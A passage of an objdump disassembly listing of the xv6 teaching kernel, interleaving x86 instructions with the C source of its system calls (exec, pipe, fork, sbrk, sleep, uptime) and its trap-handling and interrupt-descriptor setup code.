return exec(path, argv);
80105280: 8b 45 dc mov -0x24(%ebp),%eax
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
argv[i] = 0;
80105283: c7 84 9d 5c ff ff ff movl $0x0,-0xa4(%ebp,%ebx,4)
8010528a: 00 00 00 00
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
8010528e: 89 7c 24 04 mov %edi,0x4(%esp)
80105292: 89 04 24 mov %eax,(%esp)
80105295: e8 16 b7 ff ff call 801009b0 <exec>
}
8010529a: 81 c4 ac 00 00 00 add $0xac,%esp
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801052a0: 89 c3 mov %eax,%ebx
}
801052a2: 89 d8 mov %ebx,%eax
801052a4: 5b pop %ebx
801052a5: 5e pop %esi
801052a6: 5f pop %edi
801052a7: 5d pop %ebp
801052a8: c3 ret
801052a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801052b0 <sys_pipe>:
int
sys_pipe(void)
{
801052b0: 55 push %ebp
801052b1: 89 e5 mov %esp,%ebp
801052b3: 53 push %ebx
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
return -1;
801052b4: bb ff ff ff ff mov $0xffffffff,%ebx
return exec(path, argv);
}
int
sys_pipe(void)
{
801052b9: 83 ec 24 sub $0x24,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801052bc: 8d 45 ec lea -0x14(%ebp),%eax
801052bf: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
801052c6: 00
801052c7: 89 44 24 04 mov %eax,0x4(%esp)
801052cb: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801052d2: e8 a9 f3 ff ff call 80104680 <argptr>
801052d7: 85 c0 test %eax,%eax
801052d9: 78 3d js 80105318 <sys_pipe+0x68>
return -1;
if(pipealloc(&rf, &wf) < 0)
801052db: 8d 45 f4 lea -0xc(%ebp),%eax
801052de: 89 44 24 04 mov %eax,0x4(%esp)
801052e2: 8d 45 f0 lea -0x10(%ebp),%eax
801052e5: 89 04 24 mov %eax,(%esp)
801052e8: e8 e3 de ff ff call 801031d0 <pipealloc>
801052ed: 85 c0 test %eax,%eax
801052ef: 78 27 js 80105318 <sys_pipe+0x68>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
801052f1: 8b 45 f0 mov -0x10(%ebp),%eax
801052f4: e8 a7 f4 ff ff call 801047a0 <fdalloc>
801052f9: 85 c0 test %eax,%eax
801052fb: 89 c3 mov %eax,%ebx
801052fd: 78 2e js 8010532d <sys_pipe+0x7d>
801052ff: 8b 45 f4 mov -0xc(%ebp),%eax
80105302: e8 99 f4 ff ff call 801047a0 <fdalloc>
80105307: 85 c0 test %eax,%eax
80105309: 78 15 js 80105320 <sys_pipe+0x70>
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
8010530b: 8b 55 ec mov -0x14(%ebp),%edx
8010530e: 89 1a mov %ebx,(%edx)
fd[1] = fd1;
80105310: 8b 55 ec mov -0x14(%ebp),%edx
return 0;
80105313: 31 db xor %ebx,%ebx
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
fd[1] = fd1;
80105315: 89 42 04 mov %eax,0x4(%edx)
return 0;
}
80105318: 83 c4 24 add $0x24,%esp
8010531b: 89 d8 mov %ebx,%eax
8010531d: 5b pop %ebx
8010531e: 5d pop %ebp
8010531f: c3 ret
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
myproc()->ofile[fd0] = 0;
80105320: e8 0b e4 ff ff call 80103730 <myproc>
80105325: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4)
8010532c: 00
fileclose(rf);
8010532d: 8b 45 f0 mov -0x10(%ebp),%eax
fileclose(wf);
return -1;
80105330: bb ff ff ff ff mov $0xffffffff,%ebx
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
myproc()->ofile[fd0] = 0;
fileclose(rf);
80105335: 89 04 24 mov %eax,(%esp)
80105338: e8 e3 ba ff ff call 80100e20 <fileclose>
fileclose(wf);
8010533d: 8b 45 f4 mov -0xc(%ebp),%eax
80105340: 89 04 24 mov %eax,(%esp)
80105343: e8 d8 ba ff ff call 80100e20 <fileclose>
return -1;
80105348: eb ce jmp 80105318 <sys_pipe+0x68>
8010534a: 00 00 add %al,(%eax)
8010534c: 00 00 add %al,(%eax)
...
80105350 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
80105350: 55 push %ebp
80105351: 89 e5 mov %esp,%ebp
return fork();
}
80105353: 5d pop %ebp
#include "proc.h"
int
sys_fork(void)
{
return fork();
80105354: e9 87 e5 ff ff jmp 801038e0 <fork>
80105359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105360 <sys_exit>:
}
int
sys_exit(void)
{
80105360: 55 push %ebp
80105361: 89 e5 mov %esp,%ebp
80105363: 83 ec 08 sub $0x8,%esp
exit();
80105366: e8 c5 e7 ff ff call 80103b30 <exit>
return 0; // not reached
}
8010536b: 31 c0 xor %eax,%eax
8010536d: c9 leave
8010536e: c3 ret
8010536f: 90 nop
80105370 <sys_wait>:
int
sys_wait(void)
{
80105370: 55 push %ebp
80105371: 89 e5 mov %esp,%ebp
return wait();
}
80105373: 5d pop %ebp
}
int
sys_wait(void)
{
return wait();
80105374: e9 d7 e9 ff ff jmp 80103d50 <wait>
80105379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105380 <sys_kill>:
}
int
sys_kill(void)
{
80105380: 55 push %ebp
80105381: 89 e5 mov %esp,%ebp
80105383: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
80105386: 8d 45 f4 lea -0xc(%ebp),%eax
80105389: 89 44 24 04 mov %eax,0x4(%esp)
8010538d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105394: e8 a7 f2 ff ff call 80104640 <argint>
80105399: 89 c2 mov %eax,%edx
return -1;
8010539b: b8 ff ff ff ff mov $0xffffffff,%eax
int
sys_kill(void)
{
int pid;
if(argint(0, &pid) < 0)
801053a0: 85 d2 test %edx,%edx
801053a2: 78 0b js 801053af <sys_kill+0x2f>
return -1;
return kill(pid);
801053a4: 8b 45 f4 mov -0xc(%ebp),%eax
801053a7: 89 04 24 mov %eax,(%esp)
801053aa: e8 e1 ea ff ff call 80103e90 <kill>
}
801053af: c9 leave
801053b0: c3 ret
801053b1: eb 0d jmp 801053c0 <sys_getpid>
801053b3: 90 nop
801053b4: 90 nop
801053b5: 90 nop
801053b6: 90 nop
801053b7: 90 nop
801053b8: 90 nop
801053b9: 90 nop
801053ba: 90 nop
801053bb: 90 nop
801053bc: 90 nop
801053bd: 90 nop
801053be: 90 nop
801053bf: 90 nop
801053c0 <sys_getpid>:
int
sys_getpid(void)
{
801053c0: 55 push %ebp
801053c1: 89 e5 mov %esp,%ebp
801053c3: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
801053c6: e8 65 e3 ff ff call 80103730 <myproc>
801053cb: 8b 40 10 mov 0x10(%eax),%eax
}
801053ce: c9 leave
801053cf: c3 ret
801053d0 <sys_sbrk>:
int
sys_sbrk(void)
{
801053d0: 55 push %ebp
801053d1: 89 e5 mov %esp,%ebp
801053d3: 83 ec 28 sub $0x28,%esp
int addr;
int n;
if(argint(0, &n) < 0)
801053d6: 8d 45 f4 lea -0xc(%ebp),%eax
return myproc()->pid;
}
int
sys_sbrk(void)
{
801053d9: 89 5d f8 mov %ebx,-0x8(%ebp)
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
801053dc: bb ff ff ff ff mov $0xffffffff,%ebx
return myproc()->pid;
}
int
sys_sbrk(void)
{
801053e1: 89 75 fc mov %esi,-0x4(%ebp)
int addr;
int n;
if(argint(0, &n) < 0)
801053e4: 89 44 24 04 mov %eax,0x4(%esp)
801053e8: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801053ef: e8 4c f2 ff ff call 80104640 <argint>
801053f4: 85 c0 test %eax,%eax
801053f6: 78 17 js 8010540f <sys_sbrk+0x3f>
return -1;
addr = myproc()->sz;
801053f8: e8 33 e3 ff ff call 80103730 <myproc>
801053fd: 8b 30 mov (%eax),%esi
if(growproc(n) < 0)
801053ff: 8b 45 f4 mov -0xc(%ebp),%eax
80105402: 89 04 24 mov %eax,(%esp)
80105405: e8 56 e4 ff ff call 80103860 <growproc>
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
addr = myproc()->sz;
8010540a: 85 c0 test %eax,%eax
8010540c: 0f 49 de cmovns %esi,%ebx
if(growproc(n) < 0)
return -1;
return addr;
}
8010540f: 89 d8 mov %ebx,%eax
80105411: 8b 75 fc mov -0x4(%ebp),%esi
80105414: 8b 5d f8 mov -0x8(%ebp),%ebx
80105417: 89 ec mov %ebp,%esp
80105419: 5d pop %ebp
8010541a: c3 ret
8010541b: 90 nop
8010541c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105420 <sys_sleep>:
int
sys_sleep(void)
{
80105420: 55 push %ebp
80105421: 89 e5 mov %esp,%ebp
80105423: 53 push %ebx
80105424: 83 ec 24 sub $0x24,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105427: 8d 45 f4 lea -0xc(%ebp),%eax
8010542a: 89 44 24 04 mov %eax,0x4(%esp)
8010542e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105435: e8 06 f2 ff ff call 80104640 <argint>
return -1;
8010543a: ba ff ff ff ff mov $0xffffffff,%edx
sys_sleep(void)
{
int n;
uint ticks0;
if(argint(0, &n) < 0)
8010543f: 85 c0 test %eax,%eax
80105441: 78 5a js 8010549d <sys_sleep+0x7d>
return -1;
acquire(&tickslock);
80105443: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
8010544a: e8 31 ee ff ff call 80104280 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
8010544f: 8b 55 f4 mov -0xc(%ebp),%edx
uint ticks0;
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
80105452: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx
while(ticks - ticks0 < n){
80105458: 85 d2 test %edx,%edx
8010545a: 75 24 jne 80105480 <sys_sleep+0x60>
8010545c: eb 4a jmp 801054a8 <sys_sleep+0x88>
8010545e: 66 90 xchg %ax,%ax
if(myproc()->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
80105460: c7 44 24 04 60 4c 11 movl $0x80114c60,0x4(%esp)
80105467: 80
80105468: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp)
8010546f: e8 1c e8 ff ff call 80103c90 <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
80105474: a1 a0 54 11 80 mov 0x801154a0,%eax
80105479: 29 d8 sub %ebx,%eax
8010547b: 3b 45 f4 cmp -0xc(%ebp),%eax
8010547e: 73 28 jae 801054a8 <sys_sleep+0x88>
if(myproc()->killed){
80105480: e8 ab e2 ff ff call 80103730 <myproc>
80105485: 8b 40 24 mov 0x24(%eax),%eax
80105488: 85 c0 test %eax,%eax
8010548a: 74 d4 je 80105460 <sys_sleep+0x40>
release(&tickslock);
8010548c: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
80105493: e8 58 ee ff ff call 801042f0 <release>
return -1;
80105498: ba ff ff ff ff mov $0xffffffff,%edx
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
}
8010549d: 83 c4 24 add $0x24,%esp
801054a0: 89 d0 mov %edx,%eax
801054a2: 5b pop %ebx
801054a3: 5d pop %ebp
801054a4: c3 ret
801054a5: 8d 76 00 lea 0x0(%esi),%esi
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
801054a8: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
801054af: e8 3c ee ff ff call 801042f0 <release>
return 0;
}
801054b4: 83 c4 24 add $0x24,%esp
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
801054b7: 31 d2 xor %edx,%edx
}
801054b9: 89 d0 mov %edx,%eax
801054bb: 5b pop %ebx
801054bc: 5d pop %ebp
801054bd: c3 ret
801054be: 66 90 xchg %ax,%ax
801054c0 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
801054c0: 55 push %ebp
801054c1: 89 e5 mov %esp,%ebp
801054c3: 53 push %ebx
801054c4: 83 ec 14 sub $0x14,%esp
uint xticks;
acquire(&tickslock);
801054c7: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
801054ce: e8 ad ed ff ff call 80104280 <acquire>
xticks = ticks;
801054d3: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx
release(&tickslock);
801054d9: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
801054e0: e8 0b ee ff ff call 801042f0 <release>
return xticks;
}
801054e5: 83 c4 14 add $0x14,%esp
801054e8: 89 d8 mov %ebx,%eax
801054ea: 5b pop %ebx
801054eb: 5d pop %ebp
801054ec: c3 ret
801054ed: 00 00 add %al,(%eax)
...
801054f0 <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
801054f0: 1e push %ds
pushl %es
801054f1: 06 push %es
pushl %fs
801054f2: 0f a0 push %fs
pushl %gs
801054f4: 0f a8 push %gs
pushal
801054f6: 60 pusha
# Set up data segments.
movw $(SEG_KDATA<<3), %ax
801054f7: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
801054fb: 8e d8 mov %eax,%ds
movw %ax, %es
801054fd: 8e c0 mov %eax,%es
# Call trap(tf), where tf=%esp
pushl %esp
801054ff: 54 push %esp
call trap
80105500: e8 db 00 00 00 call 801055e0 <trap>
addl $4, %esp
80105505: 83 c4 04 add $0x4,%esp
80105508 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80105508: 61 popa
popl %gs
80105509: 0f a9 pop %gs
popl %fs
8010550b: 0f a1 pop %fs
popl %es
8010550d: 07 pop %es
popl %ds
8010550e: 1f pop %ds
addl $0x8, %esp # trapno and errcode
8010550f: 83 c4 08 add $0x8,%esp
iret
80105512: cf iret
...
80105520 <tvinit>:
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
80105520: 55 push %ebp
int i;
for(i = 0; i < 256; i++)
80105521: 31 c0 xor %eax,%eax
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
80105523: 89 e5 mov %esp,%ebp
80105525: ba a0 4c 11 80 mov $0x80114ca0,%edx
8010552a: 83 ec 18 sub $0x18,%esp
8010552d: 8d 76 00 lea 0x0(%esi),%esi
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105530: 8b 0c 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%ecx
80105537: 66 89 0c c5 a0 4c 11 mov %cx,-0x7feeb360(,%eax,8)
8010553e: 80
8010553f: c1 e9 10 shr $0x10,%ecx
80105542: 66 c7 44 c2 02 08 00 movw $0x8,0x2(%edx,%eax,8)
80105549: c6 44 c2 04 00 movb $0x0,0x4(%edx,%eax,8)
8010554e: c6 44 c2 05 8e movb $0x8e,0x5(%edx,%eax,8)
80105553: 66 89 4c c2 06 mov %cx,0x6(%edx,%eax,8)
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80105558: 83 c0 01 add $0x1,%eax
8010555b: 3d 00 01 00 00 cmp $0x100,%eax
80105560: 75 ce jne 80105530 <tvinit+0x10>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105562: a1 08 a1 10 80 mov 0x8010a108,%eax
initlock(&tickslock, "time");
80105567: c7 44 24 04 b9 74 10 movl $0x801074b9,0x4(%esp)
8010556e: 80
8010556f: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
{
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105576: 66 c7 05 a2 4e 11 80 movw $0x8,0x80114ea2
8010557d: 08 00
8010557f: 66 a3 a0 4e 11 80 mov %ax,0x80114ea0
80105585: c1 e8 10 shr $0x10,%eax
80105588: c6 05 a4 4e 11 80 00 movb $0x0,0x80114ea4
8010558f: c6 05 a5 4e 11 80 ef movb $0xef,0x80114ea5
80105596: 66 a3 a6 4e 11 80 mov %ax,0x80114ea6
initlock(&tickslock, "time");
8010559c: e8 6f eb ff ff call 80104110 <initlock>
}
801055a1: c9 leave
801055a2: c3 ret
801055a3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801055a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801055b0 <idtinit>:
void
idtinit(void)
{
801055b0: 55 push %ebp
lidt(struct gatedesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
pd[1] = (uint)p;
801055b1: b8 a0 4c 11 80 mov $0x80114ca0,%eax
801055b6: 89 e5 mov %esp,%ebp
801055b8: 83 ec 10 sub $0x10,%esp
static inline void
lidt(struct gatedesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
801055bb: 66 c7 45 fa ff 07 movw $0x7ff,-0x6(%ebp)
pd[1] = (uint)p;
801055c1: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
801055c5: c1 e8 10 shr $0x10,%eax
801055c8: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
801055cc: 8d 45 fa lea -0x6(%ebp),%eax
801055cf: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
801055d2: c9 leave
801055d3: c3 ret
801055d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801055da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801055e0 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
801055e0: 55 push %ebp
801055e1: 89 e5 mov %esp,%ebp
801055e3: 83 ec 48 sub $0x48,%esp
801055e6: 89 5d f4 mov %ebx,-0xc(%ebp)
801055e9: 8b 5d 08 mov 0x8(%ebp),%ebx
801055ec: 89 75 f8 mov %esi,-0x8(%ebp)
801055ef: 89 7d fc mov %edi,-0x4(%ebp)
if(tf->trapno == T_SYSCALL){
801055f2: 8b 43 30 mov 0x30(%ebx),%eax
801055f5: 83 f8 40 cmp $0x40,%eax
801055f8: 0f 84 d2 01 00 00 je 801057d0 <trap+0x1f0>
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
801055fe: 83 e8 20 sub $0x20,%eax
80105601: 83 f8 1f cmp $0x1f,%eax
80105604: 0f 86 fe 00 00 00 jbe 80105708 <trap+0x128>
lapiceoi();
break;
//PAGEBREAK: 13
default:
if(myproc() == 0 || (tf->cs&3) == 0){
8010560a: e8 21 e1 ff ff call 80103730 <myproc>
8010560f: 85 c0 test %eax,%eax
80105611: 0f 84 10 02 00 00 je 80105827 <trap+0x247>
80105617: f6 43 3c 03 testb $0x3,0x3c(%ebx)
8010561b: 0f 84 06 02 00 00 je 80105827 <trap+0x247>
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
80105621: 0f 20 d2 mov %cr2,%edx
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105624: 8b 7b 38 mov 0x38(%ebx),%edi
80105627: 89 55 dc mov %edx,-0x24(%ebp)
8010562a: e8 e1 e0 ff ff call 80103710 <cpuid>
8010562f: 8b 4b 34 mov 0x34(%ebx),%ecx
80105632: 89 c6 mov %eax,%esi
80105634: 8b 43 30 mov 0x30(%ebx),%eax
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
80105637: 89 4d d8 mov %ecx,-0x28(%ebp)
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010563a: 89 45 e4 mov %eax,-0x1c(%ebp)
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
8010563d: e8 ee e0 ff ff call 80103730 <myproc>
80105642: 89 45 e0 mov %eax,-0x20(%ebp)
80105645: e8 e6 e0 ff ff call 80103730 <myproc>
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010564a: 8b 55 dc mov -0x24(%ebp),%edx
8010564d: 8b 4d d8 mov -0x28(%ebp),%ecx
80105650: 89 7c 24 18 mov %edi,0x18(%esp)
80105654: 89 74 24 14 mov %esi,0x14(%esp)
80105658: 89 54 24 1c mov %edx,0x1c(%esp)
8010565c: 8b 55 e4 mov -0x1c(%ebp),%edx
8010565f: 89 4c 24 10 mov %ecx,0x10(%esp)
80105663: 89 54 24 0c mov %edx,0xc(%esp)
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
80105667: 8b 55 e0 mov -0x20(%ebp),%edx
8010566a: 83 c2 6c add $0x6c,%edx
8010566d: 89 54 24 08 mov %edx,0x8(%esp)
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105671: 8b 40 10 mov 0x10(%eax),%eax
80105674: c7 04 24 1c 75 10 80 movl $0x8010751c,(%esp)
8010567b: 89 44 24 04 mov %eax,0x4(%esp)
8010567f: e8 cc af ff ff call 80100650 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
tf->err, cpuid(), tf->eip, rcr2());
myproc()->killed = 1;
80105684: e8 a7 e0 ff ff call 80103730 <myproc>
80105689: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105690: e8 9b e0 ff ff call 80103730 <myproc>
80105695: 85 c0 test %eax,%eax
80105697: 74 1c je 801056b5 <trap+0xd5>
80105699: e8 92 e0 ff ff call 80103730 <myproc>
8010569e: 8b 50 24 mov 0x24(%eax),%edx
801056a1: 85 d2 test %edx,%edx
801056a3: 74 10 je 801056b5 <trap+0xd5>
801056a5: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
801056a9: 83 e0 03 and $0x3,%eax
801056ac: 83 f8 03 cmp $0x3,%eax
801056af: 0f 84 5b 01 00 00 je 80105810 <trap+0x230>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
801056b5: e8 76 e0 ff ff call 80103730 <myproc>
801056ba: 85 c0 test %eax,%eax
801056bc: 74 11 je 801056cf <trap+0xef>
801056be: 66 90 xchg %ax,%ax
801056c0: e8 6b e0 ff ff call 80103730 <myproc>
801056c5: 83 78 0c 04 cmpl $0x4,0xc(%eax)
801056c9: 0f 84 e1 00 00 00 je 801057b0 <trap+0x1d0>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
801056cf: e8 5c e0 ff ff call 80103730 <myproc>
801056d4: 85 c0 test %eax,%eax
801056d6: 74 1c je 801056f4 <trap+0x114>
801056d8: e8 53 e0 ff ff call 80103730 <myproc>
801056dd: 8b 40 24 mov 0x24(%eax),%eax
801056e0: 85 c0 test %eax,%eax
801056e2: 74 10 je 801056f4 <trap+0x114>
801056e4: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
801056e8: 83 e0 03 and $0x3,%eax
801056eb: 83 f8 03 cmp $0x3,%eax
801056ee: 0f 84 05 01 00 00 je 801057f9 <trap+0x219>
exit();
}
801056f4: 8b 5d f4 mov -0xc(%ebp),%ebx
801056f7: 8b 75 f8 mov -0x8(%ebp),%esi
801056fa: 8b 7d fc mov -0x4(%ebp),%edi
801056fd: 89 ec mov %ebp,%esp
801056ff: 5d pop %ebp
80105700: c3 ret
80105701: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
80105708: ff 24 85 60 75 10 80 jmp *-0x7fef8aa0(,%eax,4)
8010570f: 90 nop
release(&tickslock);
}
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE:
ideintr();
80105710: e8 db c9 ff ff call 801020f0 <ideintr>
lapiceoi();
80105715: e8 f6 cf ff ff call 80102710 <lapiceoi>
break;
8010571a: e9 71 ff ff ff jmp 80105690 <trap+0xb0>
8010571f: 90 nop
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80105720: 8b 7b 38 mov 0x38(%ebx),%edi
80105723: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
80105727: e8 e4 df ff ff call 80103710 <cpuid>
8010572c: c7 04 24 c4 74 10 80 movl $0x801074c4,(%esp)
80105733: 89 7c 24 0c mov %edi,0xc(%esp)
80105737: 89 74 24 08 mov %esi,0x8(%esp)
8010573b: 89 44 24 04 mov %eax,0x4(%esp)
8010573f: e8 0c af ff ff call 80100650 <cprintf>
cpuid(), tf->cs, tf->eip);
lapiceoi();
80105744: e8 c7 cf ff ff call 80102710 <lapiceoi>
break;
80105749: e9 42 ff ff ff jmp 80105690 <trap+0xb0>
8010574e: 66 90 xchg %ax,%ax
case T_IRQ0 + IRQ_KBD:
kbdintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_COM1:
uartintr();
80105750: e8 2b 02 00 00 call 80105980 <uartintr>
lapiceoi();
80105755: e8 b6 cf ff ff call 80102710 <lapiceoi>
break;
8010575a: e9 31 ff ff ff jmp 80105690 <trap+0xb0>
8010575f: 90 nop
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
80105760: e8 7b ce ff ff call 801025e0 <kbdintr>
lapiceoi();
80105765: e8 a6 cf ff ff call 80102710 <lapiceoi>
break;
8010576a: e9 21 ff ff ff jmp 80105690 <trap+0xb0>
8010576f: 90 nop
return;
}
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpuid() == 0){
80105770: e8 9b df ff ff call 80103710 <cpuid>
80105775: 85 c0 test %eax,%eax
80105777: 75 9c jne 80105715 <trap+0x135>
acquire(&tickslock);
80105779: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
80105780: e8 fb ea ff ff call 80104280 <acquire>
ticks++;
80105785: 83 05 a0 54 11 80 01 addl $0x1,0x801154a0
wakeup(&ticks);
8010578c: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp)
80105793: e8 98 e6 ff ff call 80103e30 <wakeup>
release(&tickslock);
80105798: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp)
8010579f: e8 4c eb ff ff call 801042f0 <release>
801057a4: e9 6c ff ff ff jmp 80105715 <trap+0x135>
801057a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
801057b0: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
801057b4: 0f 85 15 ff ff ff jne 801056cf <trap+0xef>
801057ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
801057c0: e8 8b e4 ff ff call 80103c50 <yield>
801057c5: e9 05 ff ff ff jmp 801056cf <trap+0xef>
801057ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(myproc()->killed)
801057d0: e8 5b df ff ff call 80103730 <myproc>
801057d5: 8b 70 24 mov 0x24(%eax),%esi
801057d8: 85 f6 test %esi,%esi
801057da: 75 44 jne 80105820 <trap+0x240>
exit();
myproc()->tf = tf;
801057dc: e8 4f df ff ff call 80103730 <myproc>
801057e1: 89 58 18 mov %ebx,0x18(%eax)
syscall();
801057e4: e8 37 ef ff ff call 80104720 <syscall>
if(myproc()->killed)
801057e9: e8 42 df ff ff call 80103730 <myproc>
801057ee: 8b 48 24 mov 0x24(%eax),%ecx
801057f1: 85 c9 test %ecx,%ecx
